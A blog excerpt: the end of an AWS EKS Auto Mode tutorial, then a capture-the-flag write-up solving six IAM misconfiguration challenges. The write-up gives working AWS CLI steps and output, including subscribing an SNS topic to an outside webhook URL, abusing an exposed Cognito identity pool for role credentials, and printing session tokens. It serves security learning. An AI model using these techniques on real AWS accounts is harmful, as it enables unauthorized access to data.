    throughput: 250

In this NodeClass, we specify that we want to spin up new instances inside the private subnets (automation will map subnet names that have private in their names -- the asterisk allows for wildcard definitions), assign security groups that start with the eks-cluster-sg* string, and attach to each instance a fast and performant storage volume encrypted with our custom key.

Now, this part is important.

Since we’re using a custom KMS key to encrypt the volumes of the instances, we must add the required permissions to the key. Specifically, nodes should be able to encrypt and decrypt the volumes (duh!), and the cluster should be able to grant nodes access to the key. So the key policy should look something like this:

{
  "Version": "2012-10-17",
  "Id": "root-access",
  "Statement": [
    {
      "Sid": "Root access",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::123456789012:root"
      },
      "Action": "kms:*",
      "Resource": "*"
    },
    {
      "Sid": "Allow EKS Nodes to use KMS key",
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::123456789012:role/aws-service-role/autoscaling.amazonaws.com/AWSServiceRoleForAutoScaling",
          "arn:aws:iam::123456789012:role/aws-service-role/eks.amazonaws.com/AWSServiceRoleForAmazonEKS",
          "arn:aws:iam::123456789012:role/custom-role-for-ec2-instances"
        ]
      },
      "Action": [
        "kms:Decrypt",
        "kms:DescribeKey",
        "kms:Encrypt",
        "kms:GenerateDataKey*",
        "kms:ReEncrypt*"
      ],
      "Resource": "*"
    },
    {
      "Sid": "Allow EKS Auto Mode to grant access to KMS key",
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::123456789012:role/eks-cluster-role"
        ]
      },
      "Action": "kms:CreateGrant",
      "Resource": "*",
      "Condition": {
        "Bool": {
          "kms:GrantIsForAWSResource": "true"
        }
      }
    }
  ]
}

Unfortunately for me, I didn’t think of that before debugging why my deployment wasn’t deploying, so here’s a free tip for you. I hope it will help you spend less time than I did.

And finally, we come to NodePools.

The custom NodePool definition might look like this:

---
apiVersion: karpenter.sh/v1
kind: NodePool
metadata:
  name: compute
spec:
  template:
    spec:
      nodeClassRef:
        group: eks.amazonaws.com
        kind: NodeClass
        name: mycoolnodeclass

      taints:
        - key: "compute"
          value: "true"
          effect: "NoSchedule"

      requirements:
        - key: "eks.amazonaws.com/instance-category"
          operator: In
          values: ["m", "c"]
        - key: "eks.amazonaws.com/instance-generation"
          operator: Gt
          values: ["4"]
        - key: "eks.amazonaws.com/instance-cpu"
          operator: In
          values: ["2", "4", "8"]
        - key: "topology.kubernetes.io/zone"
          operator: In
          values: ["us-east-1a", "us-east-1b", "us-east-1c"]
        - key: "kubernetes.io/arch"
          operator: In
          values: ["amd64"]
        - key: karpenter.sh/capacity-type
          operator: In
          values: ["spot"]

  disruption:
    consolidationPolicy: WhenEmptyOrUnderutilized
    consolidateAfter: 30s
    budgets:
      - nodes: "10%"

  limits:
    cpu: 1000
    memory: 1000Gi

In the example above, we specify that we want spot instances of the m or c classes on the amd64 architecture, that they should be at least generation 5 (Gt stands for greater than), and located in the us-east-1 region. We also specify that the total number of instances for this NodePool should not exceed 1000 CPUs or 1000 GiB of memory.

When selecting certain instance types and generations within a specific region, be sure to check that these instances are actually available in that region:

aws ec2 describe-instance-type-offerings \
  --location-type availability-zone \
  --query 'InstanceTypeOfferings[*].[InstanceType,Location]'

Some instances, classes, or generations may not be available in one region but might be available in another. It’s always worth checking beforehand, so you won’t spend too much time wondering why your c10i.x124large isn’t coming up in the ap-southeast-5 region.

I hope this article helps you spin up your custom nodes quickly and saves you both time and mental capacity. I really appreciate that AWS provides such a neat way to control your Kubernetes infrastructure without having to manage it all manually -- almost a win-win scenario.

To be honest, it’s not just application management. EKS brings its own overhead in the form of managing intertwined AWS services (like IAM), but that’s outside the scope of the current article. ↩

Solving The Big IAM Challenge

Kirill — Sat, 10 May 2025 16:52:29 +0000

CTF (Capture The Flag) challenges are a fun and safe way to stretch a stale brain muscle and learn a trick or two about how robust security is not actually that robust. Today we're going to solve The Big IAM Challenge¹ and reflect on the lessons learned.

Table of Contents
Intro
Challenge 1: Buckets of Fun
Challenge 2: ~~Google~~ Analytics
Challnge 3: Enable Push Notifications
Challenge 4: Admin only?
Challenge 5: Do I know you?
Challenge 6: One final push
Post Mortem

Intro

The Big IAM Challenge consists of six challenges, each based on a task and an IAM policy. We also have access to a web CLI. With these tools, we will have to find our way to a flag -- a string containing the key that will allow us to progress to the next challenge and, eventually, solve them all.

Challenge 1: Buckets of Fun

Task
We all know that public buckets are risky. But can you find the flag?

# IAM policy
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                }
            }
        }
    ]
}

From the existing policy, we can conclude that we have access to a certain bucket. We can retrieve all the objects from this bucket but can only list the contents of the files/ directory within it. Let's do that.

> aws s3 ls thebigiamchallenge-storage-9979f4b/files/
2023-06-05 19:13:53         37 flag1.txt
2023-06-08 19:18:24      81889 logo.png

And there’s our flag. If we try to download it, we’ll encounter an error indicating that the filesystem is read-only -- which makes sense, but poses an obstacle for us. However, we can overcome this issue by copying the file to stdin and printing it to the console:

> aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt - | cat
{wiz:exposed-storage-risky-as-usual}

With this flag, Challenge 1 is complete.

Challenge 2: Google Analytics

Task
We created our own analytics system specifically for this challenge. We think it's so good that we even used it on this page. What could go wrong?
Join our queue and get the secret flag.

# IAM policy
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": [
                "sqs:SendMessage",
                "sqs:ReceiveMessage"
            ],
            "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
        }
    ]
}

This is the kind of task I can stand behind -- abandon Google's privacywashing, their lust for private data, and their obsession with maximizing profits.

From this policy, we can conclude that we're meant to receive a message from the queue. Let's use awscli for that purpose.

> aws sqs receive-message

aws: error: the following arguments are required: --queue-url

To read a message from the queue, we need a queue URL, but we only have an ARN. That’s not a problem -- we can construct one ourselves. Queue URLs follow this format: https://sqs.{region}.amazonaws.com/{account}/{queue_name}.

> aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
{
    "Messages": [
        {
            ...
            "Body": "{\"URL\": \"https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html\", \"User-Agent\": \"Lynx/2.5329.3258dev.35046 libwww-FM/2.14 SSL-MM/1.4.3714\", \"IsAdmin\": true}"
        }
    ]
}

No flag here, but we do have a URL pointing to a file in a bucket. Let’s check out that file.

> curl https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html
{wiz:you-are-at-the-front-of-the-queue}

Bingo! There’s our flag and another completed challenge.

Challnge 3: Enable Push Notifications

Task
We got a message for you. Can you get it?

# IAM policy
{
    "Version": "2008-10-17",
    "Id": "Statement1",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "SNS:Subscribe",
            "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
            "Condition": {
                "StringLike": {
                    "sns:Endpoint": "*@tbic.wiz.io"
                }
            }
        }
    ]
}

The policy clearly wants us to subscribe to this SNS topic. I’d be happy to oblige! Since we have a wildcard (*) before @tbic.wiz.io, it means we can use any email!

> aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol email --notification-endpoint hello@tbic.wiz.io
{
    "SubscriptionArn": "pending confirmation"
}

And now we wait.

Wait, what? Wait for what? How do I confirm the subscription to the topic if I have no access to the email? Looks like I fell into the easiest trap!

Okay, let’s think. Since we don’t have access to email, we need to figure out another way to receive a message from the topic. How can we do that? What are the options to receive messages from SNS? We can use the following protocols to communicate with SNS: HTTP, HTTPS, email, email-json, SMS, SQS, application, Lambda, and Firehose. What if we set up an HTTP endpoint to receive messages? Webhooks, here we go! Luckily, there are services online that allow us to test webhook requests. The trick here is to take the unique webhook URL and add the required endpoint string to the end of the URL: https://webhook.site/3bddcb48-f58d-4284-a731-491c8784e0b1/@tbic.wiz.io. Still a valid URL? Let’s find out!

> aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol https --notification-endpoint https://webhook.site/3bddcb48-f58d-4284-a731-491c8784e0b1/@tbic.wiz.io
{
    "SubscriptionArn": "pending confirmation"
}

In a couple of seconds, we receive a message with the configuration URL. Copy and paste it into the browser to confirm the subscription. After several more seconds, we see a new message in the webhook site interface with the flag itself!

{
  ...
  "Message": "{wiz:always-suspect-asterisks}",
  ...
}

Third challenge is done -- way to go!

Challenge 4: Admin only?

Task
We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it?

# IAM policy
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                },
                "ForAllValues:StringLike": {
                    "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
                }
            }
        }
    ]
}

The provided IAM policy clearly states that listing files in a bucket is only allowed for a user with the admin role. However, there's also a loophole: anyone can download files from the bucket. This is a very bad practice and a huge security risk. From these statements, we can conclude that the bucket has at least a files/ directory, and we can view it by accessing the HTTP endpoint of the bucket.

> curl "https://s3.amazonaws.com/thebigiamchallenge-admin-storage-abf1321?prefix=files/"
<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>thebigiamchallenge-admin-storage-abf1321</Name><Prefix>files/</Prefix><Marker></Marker><MaxKeys>1000</MaxKeys><IsTruncated>false</IsTruncated><Contents><Key>files/flag-as-admin.txt</Key><LastModified>2023-06-07T19:15:43.000Z</LastModified><ETag>"e365cfa7365164c05d7a9c209c4d8514"</ETag><Size>42</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>files/logo-admin.png</Key><LastModified>2023-06-08T19:20:01.000Z</LastModified><ETag>"c57e95e6d6c138818bf38daac6216356"</ETag><Size>81889</Size><StorageClass>STANDARD</StorageClass></Contents></ListBucketResult>

He-he, there it is. Here are the droids I’m looking for!

> aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt - | cat
{wiz:principal-arn-is-not-what-you-think}

Challenge 4 is complete.

Challenge 5: Do I know you?

Task
We configured AWS Cognito as our main identity provider. Let's hope we didn't make any mistakes.

# IAM policy
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
                "mobileanalytics:PutEvents",
                "cognito-sync:*"
            ],
            "Resource": "*"
        },
        {
            "Sid": "VisualEditor1",
            "Effect": "Allow",
            "Action": [
                "s3:GetObject",
                "s3:ListBucket"
            ],
            "Resource": [
                "arn:aws:s3:::wiz-privatefiles",
                "arn:aws:s3:::wiz-privatefiles/*"
            ]
        }
    ]
}

Okay, let’s dissect what we have here. First things first, cognito-sync:* is our way to the contents of the bucket mentioned in the second statement of the policy. I feel like mobileanalytics:PutEvents is a bit misleading here and may not prove useful, but we’ll see. There’s also a picture of AWS Cognito in this task, which is unusual. Perhaps it’s also a clue? Let’s inspect the code.

<img style="width: 16rem" id="signedImg" class="mx-auto mt-4" src="#" alt="Signed img from S3" />
<script src="https://sdk.amazonaws.com/js/aws-sdk-2.719.0.min.js"></script>
<script>
  AWS.config.region = 'us-east-1';
  AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"});
  // Set the region
  AWS.config.update({region: 'us-east-1'});

  $(document).ready(function() {
    var s3 = new AWS.S3();
    params = {
      Bucket: 'wiz-privatefiles',
      Key: 'cognito1.png',
      Expires: 60 * 60
    }

    signedUrl = s3.getSignedUrl('getObject', params, function (err, url) {
      $('#signedImg').attr('src', url);
    });
});
</script>

Yep, there it is -- a very helpfully placed Cognito Identity Pool ID. Let’s use it to obtain our ID:

> aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b
{
    "IdentityId": "us-east-1:157d6171-eee2-cf0f-f29f-f684025c7f2c"
}

And with this ID, we are able to obtain credentials to assume!

> aws cognito-identity get-credentials-for-identity --identity-id us-east-1:157d6171-eee2-cf0f-f29f-f684025c7f2c
{
    "IdentityId": "us-east-1:157d6171-eee2-cf0f-f29f-f684025c7f2c",
    "Credentials": {
        "AccessKeyId": "ASIARK7LBOHXHAHYXG4C",
        "SecretKey": "i1sxDh5obFEGzMpIw3s+nGgPfnuD3vdDjlqhMakW",
        "SessionToken": "IQoJb3JpZ2luX2VjEPz//////////wEaCXVzLWVhc3QtMSJGMEQCIE086qWoZ18m8+iEw11NGcawCIbwmxfXZXjaZbYNgBaRAiB3OJLgI1X5v72NTDiOfcwDnZOMGwNO2ZtMte9Ff1fSIiq7BQil//
////////8BEAAaDDA5MjI5Nzg1MTM3NCIMq3db2mZPg5GWhCfGKo8F8o8rTZPXKSTgtByx2JcB93zlqEEJw2zWzF61O6App4FMY8Jrhh9YAbTDR4meOt32FOnPiDKEG5Tko6rmeRwunwxFVXtEIrg1TVhaTLVuyViePLOXJYnrwIpRN7U1WlQSYIx3lRuXIEG5Gm48H51iaz+YBhcYO8CHpidqQBnBAyoMmFaZK/liuokGjufsmj9Rc6/kInC/F+gat7fyycHICZbYHzYgpSagP44NVNqTlMqW8dWZeBN04X05MEHxeZuP7LNNmEIuiCEBFTyxtDQTweK5nfySFXJUK8EWjdehgGzP3lPZIdbRadXrXVjgSbRK9CZtYIiCoKsiIhyJ+pGoY+U41y03nHbQVsAGyadEMWqxyO48ij5aCsl9Q8Sn8VPmzUGYb02WqT8TpMmPmGpxzb1SrMXpBcI9yfmT0afS7HeGIcbtrNdGx+pPZEBEfwAutGFjgRm2IgkH5pCwfWQT1/9vlAGeYSxPg+4vHyd/e/lSRptaGSlVqBZR+ayMUTxDYnCu8PR3BNHhf+RHs2GNCc8V5e+rFpmy2dpoFAaW90OMJn56V0m41FtU1UGqB26Ma8eWKgvtokHAK6OIxyZqvN7u24NKkp9u7EvZ44VX1ztU4eHNNK/fpoVWzeS48t9XImM6ImebAMVV/9HOyYVSRUoV5+vsLlAbYt2yDW82DPAd6wOELBez9XsP3NDwK4gPA13SX/7lx0MqsToWihcVXpPE891wVwouyAQj4oJy2QzocD88saqcJLnlDmUJeXsROAdDdpOl0RyG73xmxjOeycF2ebBfccaMW9sfbCj+v9vwQXlccB+Y1E6yy7rv4m5WVqZZiWkR69sk6ugyONSP5UAHdcwT+lUIudYibF5PcDCW8vzABjrdAkXktLCIeiuItjYDiKf93U9aSD9E539EfMuyaNIkL838BFEwYQneudtHjWUZ3MNZNNr7gTVmkZpjP5tvYkzYP42FLkdP0lU4uhnY7+wb1X1MhLz5g2Ff0HM1vQi+s63a1ow5zb+njOoZ2NDcMM3qpn4u8tyHK1Sw1IJPYLGLfk7OtkI3wVl3rhUIeObVMDWC7Q72xaqeSkPnjqAwXGmVVpxhmqha5FC4XInhwOUtPMhL5iFla6ZLA1lD1edv/ZD9ger1dppUUK7wXonpX+pIhv9IXWIt0JSzQRaju9Cy4Ou6m6Fs4LqHyk/cnGZb+4lslVgPotKf5LeHqKMMO0UOCvtw7KQoGlg7EDwTUMhy8uIwsCMZXTnJNoPaN526s10V6OlwYLc3MBO97dZbfmvZ4juFsgNdDrbCbNHVWHxUyms+elD/KvbrM47aXX2r1IGPexDvtmSwqwCBvVv7WPw=",
        "Expiration": 1746880294.0
    }
}

I can't help but enjoy this amazing loophole left for us to find. Damn, I love these challenges.

With the help of the provided credentials, we will be able to assume a role. However, we won't be able to do that in the web CLI on the challenge page -- we'll have to use our own terminal.

$ export AWS_ACCESS_KEY_ID=ASIARK7LBOHXHAHYXG4C
$ export AWS_SECRET_ACCESS_KEY=i1sxDh5obFEGzMpIw3s+nGgPfnuD3vdDjlqhMakW
$ export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEPz//////////wEaCXVzLWVhc3QtMSJGMEQCIE086qWoZ18m8+iEw11NGcawCIbwmxfXZXjaZbYNgBaRAiB3OJLgI1X5v72NTDiOfcwDnZOMGwNO2ZtMte9Ff1fSIiq7BQil//////////8BEAAaDDA5MjI5Nzg1MTM3NCIMq3db2mZPg5GWhCfGKo8F8o8rTZPXKSTgtByx2JcB93zlqEEJw2zWzF61O6App4FMY8Jrhh9YAbTDR4meOt32FOnPiDKEG5Tko6rmeRwunwxFVXtEIrg1TVhaTLVuyViePLOXJYnrwIpRN7U1WlQSYIx3lRuXIEG5Gm48H51iaz+YBhcYO8CHpidqQBnBAyoMmFaZK/liuokGjufsmj9Rc6/kInC/F+gat7fyycHICZbYHzYgpSagP44NVNqTlMqW8dWZeBN04X05MEHxeZuP7LNNmEIuiCEBFTyxtDQTweK5nfySFXJUK8EWjdehgGzP3lPZIdbRadXrXVjgSbRK9CZtYIiCoKsiIhyJ+pGoY+U41y03nHbQVsAGyadEMWqxyO48ij5aCsl9Q8Sn8VPmzUGYb02WqT8TpMmPmGpxzb1SrMXpBcI9yfmT0afS7HeGIcbtrNdGx+pPZEBEfwAutGFjgRm2IgkH5pCwfWQT1/9vlAGeYSxPg+4vHyd/e/lSRptaGSlVqBZR+ayMUTxDYnCu8PR3BNHhf+RHs2GNCc8V5e+rFpmy2dpoFAaW90OMJn56V0m41FtU1UGqB26Ma8eWKgvtokHAK6OIxyZqvN7u24NKkp9u7EvZ44VX1ztU4eHNNK/fpoVWzeS48t9XImM6ImebAMVV/9HOyYVSRUoV5+vsLlAbYt2yDW82DPAd6wOELBez9XsP3NDwK4gPA13SX/7lx0MqsToWihcVXpPE891wVwouyAQj4oJy2QzocD88saqcJLnlDmUJeXsROAdDdpOl0RyG73xmxjOeycF2ebBfccaMW9sfbCj+v9vwQXlccB+Y1E6yy7rv4m5WVqZZiWkR69sk6ugyONSP5UAHdcwT+lUIudYibF5PcDCW8vzABjrdAkXktLCIeiuItjYDiKf93U9aSD9E539EfMuyaNIkL838BFEwYQneudtHjWUZ3MNZNNr7gTVmkZpjP5tvYkzYP42FLkdP0lU4uhnY7+wb1X1MhLz5g2Ff0HM1vQi+s63a1ow5zb+njOoZ2NDcMM3qpn4u8tyHK1Sw1IJPYLGLfk7OtkI3wVl3rhUIeObVMDWC7Q72xaqeSkPnjqAwXGmVVpxhmqha5FC4XInhwOUtPMhL5iFla6ZLA1lD1edv/ZD9ger1dppUUK7wXonpX+pIhv9IXWIt0JSzQRaju9Cy4Ou6m6Fs4LqHyk/cnGZb+4lslVgPotKf5LeHqKMMO0UOCvtw7KQoGlg7EDwTUMhy8uIwsCMZXTnJNoPaN526s10V6OlwYLc3MBO97dZbfmvZ4juFsgNdDrbCbNHVWHxUyms+elD/KvbrM47aXX2r1IGPexDvtmSwqwCBvVv7WPw=
$ aws sts get-caller-identity
{
    "UserId": "AROARK7LBOHXJKAIRDRIU:CognitoIdentityCredentials",
    "Account": "092297851374",
    "Arn": "arn:aws:sts::092297851374:assumed-role/Cognito_s3accessUnauth_Role/CognitoIdentityCredentials"
}
$ aws s3 ls s3://wiz-privatefiles/
2023-06-05 21:42:27       4220 cognito1.png
2023-06-05 15:28:35         37 flag1.txt
$ aws s3 cp s3://wiz-privatefiles/flag1.txt - | cat
{wiz:incognito-is-always-suspicious}

Oh boy, I couldn’t agree more. A very fun and very interesting challenge done. Let’s finish the final one!

Challenge 6: One final push

Task
Anonymous access no more. Let's see what can you do now.
Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role

# IAM policy
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
                }
            }
        }
    ]
}

The provided AWS policy is like telling us: "Hey, there's a quite specific action that you can use!" And use it, we will. Same as before, using the Identity Pool ID, we will obtain our Identity ID.

> aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b
{
    "IdentityId": "us-east-1:157d6171-eea6-c0da-14bd-11c12678c1a8"
}

With the Identity ID, we are now able to get an OpenID token, since we can't just assume any role with STS and need to use web identity. Hence, OpenID token.

> aws cognito-identity get-open-id-token --identity-id us-east-1:157d6171-eea6-c0da-14bd-11c12678c1a8
{
    "IdentityId": "us-east-1:157d6171-eea6-c0da-14bd-11c12678c1a8",
    "Token": "eyJraWQiOiJ1cy1lYXN0LTEtNyIsInR5cCI6IkpXUyIsImFsZyI6IlJTNTEyIn0.eyJzdWIiOiJ1cy1lYXN0LTE6MTU3ZDYxNzEtZWVhNi1jMGRhLTE0YmQtMTFjMTI2NzhjMWE4IiwiYXVkIjoidXMtZWFzdC0xOmI3M2NiMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZW50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE3NDY4Nzg0NTksImlhdCI6MTc0Njg3Nzg1OX0.jLAQFCKrh5uYs-FO89P8LTmHsNRaySNWAhCDNE4N5PxSUu3AuduCbuYUVXrCcvflUPhJvePb2cTk2cM1K431ZtKqP1gWJ8XL0BW6M_JO2jHXftuWnTHeqvDuca36uTAOMJ5Vk62Fm_2OSgeWoLGgqT4WolhuRZa4nn0evuKtuHK1omEKnPsymKhUsqHw45mCdZ177XT5QCry2eiOielY3niTt7x137j_E739eP6x0tbXFMgpHTvxKFIkaQOhBn0A-1tDjZ5WlQeT5qbioOaAVK5xAjAfJeQOpZ8AZPr-H0aC9OCCN-_zNGgil31DAzFTWhAtjYevvdN9RkaIsW_PdQ"
}

And now, with this nice JWT (JSON Web Token), we would be able to assume the role the challenge is telling us to assume.

$ aws sts assume-role-with-web-identity --web-identity-token eyJraWQiOiJ1cy1lYXN0LTEtNyIsInR5cCI6IkpXUyIsImFsZyI6IlJTNTEyIn0.eyJzdWIiOiJ1cy1lYXN0LTE6MTU3ZDYxNzEtZWVhNi1jMGRhLTE0YmQtMTFjMTI2NzhjMWE4IiwiYXVkIjoidXMtZWFzdC0xOmI3M
2NiMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZW50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE3NDY4Nzg0NTksImlhdCI6MTc0Njg3Nzg1OX0.jLAQFCKrh5uYs-FO89P8LTmHsNRaySNWAhCDNE4N5PxSUu3A
uduCbuYUVXrCcvflUPhJvePb2cTk2cM1K431ZtKqP1gWJ8XL0BW6M_JO2jHXftuWnTHeqvDuca36uTAOMJ5Vk62Fm_2OSgeWoLGgqT4WolhuRZa4nn0evuKtuHK1omEKnPsymKhUsqHw45mCdZ177XT5QCry2eiOielY3niTt7x137j_E739eP6x0tbXFMgpHTvxKFIkaQOhBn0A-1tDjZ5WlQeT5qbioOaAVK5xAjAfJeQ
OpZ8AZPr-H0aC9OCCN-_zNGgil31DAzFTWhAtjYevvdN9RkaIsW_PdQ --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name HelloThere
{
    "Credentials": {
        "AccessKeyId": "ASIARK7LBOHXPDT2U3BW",
        "SecretAccessKey": "CiOKsQIiMBxy3Hav5bQ230c13pycH6vrqmcVp14s",
        "SessionToken": "FwoGZXIvYXdzEA0aDJQmv03JEKnQKp8OwCKiAk5V5ehu5IvKBGyZTVERUCaEwt8iHA7bTp2RYKfl0JNwJCxVA0bNDccjD1skSmwmfwb2H67nrKnOsj8zHrJuVXZf32XPfMni+k9tZZaw/i+18JYaZiFA/5ytPcTVg0aVQN9EpcOOvKBrWGytoya0AA3ynJTgDHAGWSljN+oIjoJQa4/ProQFye5e1Kfs6Ueh2Q31KWtBb5U4sEUlUZGTmNdoM4Zy2L9WUNjNzbpBoi2U9NhTWzORFcVRO2Y3d9p+FoqzAZIlKSyaN5cY0RTkNZYizpHgehgdrRPphU/mVjHlPhWkOn8MjT44ajwS8SJ7Tn9KqnMzBkuXa54vpm4EptngDuTVt5Z50QVZ72qCxRkz38jeTfGOe4zRPXCRXfM9oUkeKOT8/MAGMpYBjbShpAGWcCSp4q6/iJEZRRXcYOD71POGmAR1FTZkUnofAYIc/Yl4/ptWnJK1uc9nfJnUUd49yR1oSsrZGb+HtH5o1ZCql6iT7OPiYogeAbX97tbqq4nxM0qQ679+m61vpmQWvFgm//JHfN8iOGLPAZtB19zE2BzBl+sV20oedFd47J8JtbN4e1FJUGQSiYO5YiolhHuP",
        "Expiration": "2025-05-10T12:54:12+00:00"
    },
    "SubjectFromWebIdentityToken": "us-east-1:157d6171-eea6-c0da-14bd-11c12678c1a8",
    "AssumedRoleUser": {
        "AssumedRoleId": "AROARK7LBOHXASFTNOIZG:HelloThere",
        "Arn": "arn:aws:sts::092297851374:assumed-role/Cognito_s3accessAuth_Role/HelloThere"
    },
    "Provider": "cognito-identity.amazonaws.com",
    "Audience": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}
$ export AWS_ACCESS_KEY_ID=ASIARK7LBOHXPDT2U3BW
$ export AWS_SECRET_ACCESS_KEY=CiOKsQIiMBxy3Hav5bQ230c13pycH6vrqmcVp14s
$ export AWS_SESSION_TOKEN=FwoGZXIvYXdzEA0aDJQmv03JEKnQKp8OwCKiAk5V5ehu5IvKBGyZTVERUCaEwt8iHA7bTp2RYKfl0JNwJCxVA0bNDccjD1skSmwmfwb2H67nrKnOsj8zHrJuVXZf32XPfMni+k9tZZaw/i+18JYaZiFA/5ytPcTVg0aVQN9EpcOOvKBrWGytoya0AA3ynJTgDHAGWSljN+oIjoJQa4/ProQFye5e1Kfs6Ueh2Q31KWtBb5U4sEUlUZGTmNdoM4Zy2L9WUNjNzbpBoi2U9NhTWzORFcVRO2Y3d9p+FoqzAZIlKSyaN5cY0RTkNZYizpHgehgdrRPphU/mVjHlPhWkOn8MjT44ajwS8SJ7Tn9KqnMzBkuXa54vpm4EptngDuTVt5Z50QVZ72qCxRkz38jeTfGOe4zRPXCRXfM9oUkeKOT8/MAGMpYBjbShpAGWcCSp4q6/iJEZRRXcYOD71POGmAR1FTZkUnofAYIc/Yl4/ptWnJK1uc9nfJnUUd49yR1oSsrZGb+HtH5o1ZCql6iT7OPiYogeAbX97tbqq4nxM0qQ679+m61vpmQWvFgm//JHfN8iOGLPAZtB19zE2BzBl+sV20oedFd47J8JtbN4e1FJUGQSiYO5YiolhHuP
$ aws sts get-caller-identity
{
    "UserId": "AROARK7LBOHXASFTNOIZG:HelloThere",
    "Account": "092297851374",
    "Arn": "arn:aws:sts::092297851374:assumed-role/Cognito_s3accessAuth_Role/HelloThere"
}
$ aws s3 ls
2024-06-06 08:21:35 challenge-website-storage-1fa5073
2024-06-06 10:25:59 payments-system-cd6e4ba
2023-06-04 19:07:29 tbic-wiz-analytics-bucket-b44867f
2023-06-05 15:07:44 thebigiamchallenge-admin-storage-abf1321
2023-06-04 18:31:02 thebigiamchallenge-storage-9979f4b
2023-06-05 15:28:31 wiz-privatefiles
2023-06-05 15:28:31 wiz-privatefiles-x1000
$ aws s3 ls s3://wiz-privatefiles-x1000
2023-06-05 21:42:27       4220 cognito2.png
2023-06-05 15:28:35         40 flag2.txt
$ aws s3 cp s3://wiz-privatefiles-x1000/flag2.txt - | cat
{wiz:open-sesame-or-shell-i-say-openid}

And this is it. The final challenge is done. Congratulations!

Post Mortem

I had a great time solving these challenges (unless I didn’t). They were fun, but at the same time complex and deceptive..

Truth be told, some scenarios I was able to solve only with the help of guides from the internet. Only while writing this article did I realize that the image in challenge #5 was actually a clue and not a random picture. Because of this oversight, I had no idea where to look for the Identity Pool ID, so I had to google for a clue. Turns out it was right there all the time -- I just wasn’t bright enough to connect the dots.

But fun aside, all of these challenges represent possible ways an attacker can extract helpful tips, even from the most innocent pieces of information -- like IAM policies. For example, leaving * in the Principal field allows any actor to subscribe to our queue. And I mean any -- including unintended actors.

Another interesting example of possible loopholes is limiting allowed actions to only s3:GetObject for all actors. It sounds quite safe, right? How can you get a file you don’t know the name or location of? Turns out, there are ways, thanks to the HTTP endpoints and the ?prefix= parameter.

And my favorite example of how a malicious actor can follow the breadcrumbs is the leftover of a single ID -- and how it can lead to a full-scale breach of a secured perimeter, compromising sensitive data.

Learning best practices for keeping your AWS infrastructure secure in theory is one thing. Actually seeing how even the tiniest misconfigurations can lead to a disaster -- that’s totally another. And I love it.

Finally, to address the elephant in the room, let’s wrap this article with the most important statements regarding AWS IAM policies:

Always specify access to certain actions for specific resources and dedicated principals: never leave wildcard permissions anywhere.
Separate the open perimeter and closed perimeter of your infrastructure, and restrict access only to assigned individuals.
